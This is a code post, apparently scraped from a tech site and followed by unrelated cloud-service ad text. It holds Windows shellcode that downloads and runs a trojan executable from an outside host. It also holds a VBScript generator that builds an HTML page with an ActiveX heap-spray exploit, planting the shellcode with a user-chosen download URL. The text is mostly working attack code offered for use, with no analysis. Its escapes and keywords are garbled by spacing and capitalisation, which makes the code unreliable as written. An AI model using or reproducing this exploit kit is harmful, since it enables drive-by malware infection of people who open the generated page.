unsigned char shellcode [] =
"\ xeb \ x54 \ x8b \ x75 \ x3c \ x8b \ x74 \ x35 \ x78 \ x03 \ xf5 \ x56 \ x8b \ x76 \ x20 \ x03 "
" \ xf5 \ x33 \ xc9 \ x49 \ x41 \ XAD \ x33 \ XDB \ x36 \ x0f \ xbe \ x14 \ x28 \ x38 \ xf2 \ x74 "
" \ x08 \ xc1 \ xcb \ x0d \ x03 \ xda \ X40 \ xeb \ XeF \ x3b \ xdf \ x75 \ xe7 \ x5e \ x8b \ x5e"
"\ x24 \ x03 \ xdd \ x66 \ x8b \ x0c \ x4b \ x8b \ x5e \ x1c \ x03 \ xdd \ x8b \ x04 \ x8b \ x03"
"\ xc5 \ xc3 \ x75 \ x72 \ x6c \ x6d \ x6f \ x6e \ x2e \ x64 \ x6c \ x6c \ x00 \ x43 \ x3a \ x5c"
"\ x55 \ x2e \ X65 \ x78 \ X65 \ x00 \ x33 \ xc0 \ x64 \ x03 \ X40 \ x30 \ x78 \ x0c \ x8b \ X40 "
" \ x0c \ x8b \ x1c \ XAD \ x8b \ X40 \ x08 \ xeb \ x09 \ x8b \ X40 \ x34 \ x8d \ X40 \ x7c "
" \ x8b \ X40 \ x3c \ x95 \ xbf \ x8e \ x4e \ x0e \ xec \ xe8 \ x84 \ xFF \ x83 \ xec "
" \ x04 \ x83 \ x2c \ x24 \ x3c \ xFF \ xd0 \ x95 \ x50 \ xbf \ x36 \ x1a \ x2f \ xe8 \ x6f "
" \ xFF \ x8b \ x54 \ x24 \ xfc \ x8d \ X52 \ Xba \ x33 \ XDB \ x53 \ x53 \ X52 \ xeb "
" \ x24 \ x53 \ xFF \ xd0 \ x5d \ xbf \ x98 \ xfe \ x8a \ x0e \ xe8 \ x53 \ xFF \ x83 "
" \ xec \ x04 \ x83 \ x2c \ x24 \ x62 \ xFF \ xd0 \ xbf \ x7e \ xd8 \ xe2 \ x73 \ xe8 \ X40 \ xFF "
" \ xFF \ X52 \ xFF \ xd0 \ xe8 \ xd7 \ xFF "
"http://fenggou.net/muma.exe ";
Int main ()
{
Void (* Code) (); // converts shellcode into a function pointer whose parameter is null.
* (Int *) & code = shellcode;
Code ();
}
Vbs code Copy code Code: exeurl = inputbox ("Please input you want down & exec URL:", "input", "http://jb51.net/muma.exe ")
If exeurl <> "then
Code = "\ xeb \ x54 \ x8b \ x75 \ x3c \ x8b \ x74 \ x35 \ x78 \ x03 \ xf5 \ x56 \ x8b \ x76 \ x20 \ x03 \ xf5 \ x33 \ xc9 \ x49 \ x41 \ XAD \ x33 \ XDB \ x36 \ x0f \ xbe \ x14 \ x28 \ x38 \ xf2 \ x74 \ x08 \ xc1 \ xcb \ x0d \ x03 \ xda \ x40 \ xeb \ XeF \ x3b \ xdf \ x75 \ xe7 \ x5e \ x8b \ x5e \ x24 \ x03 \ xdd \ x66 \ x8b \ x0c \ x4b \ x8b \ x5e \ x1c \ x03 \ xdd \ x8b \ x04 \ x8b \ x03 \ xc5 \ xc3 \ x75 \ x72 \ x6c \ x6d \ x6f \ x6e \ x2e \ x64 \ x6c \ x6c \ x00 \ x43 \ x3a \ x5c \ x55 \ x2e \ X65 \ x78 \ X65 \ x00 \ x33 \ xc0 \ x64 \ x03 \ X40 \ x30 \ x78 \ x0c \ x8b \ X40 \ x0c \ x8b \ x1c \ XAD \ x8b \ X40 \ x08 \ xeb \ x09 \ x8b \ X40 \ x34 \ x8d \ X40 \ x7c \ x8b \ X40 \ x3c \ x95 \ xbf \ x8e \ x4e \ x0e \ xec \ xe8 \ x84 \ xFF \ x83 \ xec \ x04 \ x83 \ x2c \ x24 \ x3c \ xFF \ xd0 \ x95 \ x50 \ xbf \ x36 \ x1a \ x2f \ xe8 \ x6f \ xFF \ x8b \ x54 \ x24 \ xfc \ x8d \ X52 \ Xba \ x33 \ XDB \ x53 \ x53 \ x53 \ x52 \ xeb \ x24 \ x53 \ xFF \ xd0 \ x5d \ xbf \ x98 \ xfe \ x8a \ x0e \ xe8 \ x53 \ xFF \ x83 \ xec \ x04 \ x83 \ x2c \ x24 \ x62 \ xFF \ xd0 \ xbf \ x7e \ xd8 \ xe2 \ x73 \ xe8 \ X40 \ xFF \ X52 \ xFF \ xd0 \ xe8 \ xd7 \ xFF "& Unicode (exeurl & CHR (00) & CHR (00 ))
Function Unicode (str1)
Dim STR, temp
STR = ""
For I = 1 to Len (str1)
Temp = hex (ASCW (mid (str1, I, 1 )))
If Len (temp) <5 then temp = right ("0000" & temp, 2)
STR = STR & "\ x" & temp
Next
Unicode = Str
End Function
Function replaceregex (STR)
Set RegEx = new Regexp
RegEx. pattern = "\ x (..)"
RegEx. ignorecase = true
RegEx. Global = true
Matches = RegEx. Replace (STR, "% u $2 $1 ")
Replaceregex = matches
End Function
Set FSO = Createobject ("scripting. FileSystemObject ")
If FSO. fileexists ("jb51.htm") then
FSO. deletefile "jb51.htm", true
End if
Set files = FSO. opentextfile ("jb51.htm", 8, true)
Files. writeline "<HTML>"
Files. writeline "<title> Sina </title>"
Files. writeline "<object classid =" "CLSID: 8ef2a07c-6e69-4144-96aa-2247d892a73d" "id = 'target'> </Object>"
Files. writeline "<body>"
Files. writeline "<script language =" "JavaScript" ">"
Files. writeline "Var shellcode = Unescape (" "& replaceregex (CODE )&""");"
Files. writeline "Var bigblock = Unescape (" "% u9090 % u9090 "");"
Files. writeline "Var headersize = 20 ;"
Files. writeline "Var slackspace = headersize + shellcode. length ;"
Files. writeline "while (bigblock. Length <slackspace) bigblock + = bigblock ;"
Files. writeline "fillblock = bigblock. substring (0, slackspace );"
Files. writeline "Block = bigblock. substring (0, bigblock. Length-slackspace );"
Files. writeline "while (Block. Length + slackspace <0x40000) block = block + fillblock ;"
Files. writeline "memory = new array ();"
Files. writeline "for (x = 0; x <300; X ++) memory [x] = block + shellcode ;"
Files. writeline "Var buffer = '';"
Files. writeline "while (buffer. Length <218) buffer + = '\ x0a \ x0a \ x0a \ x0a ';"
Files. writeline "target. Method1 (buffer );"
Files. writeline "</SCRIPT>"
Files. writeline "</body>"
Files. writeline "Files. Close
Set FSO = nothing
End if
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
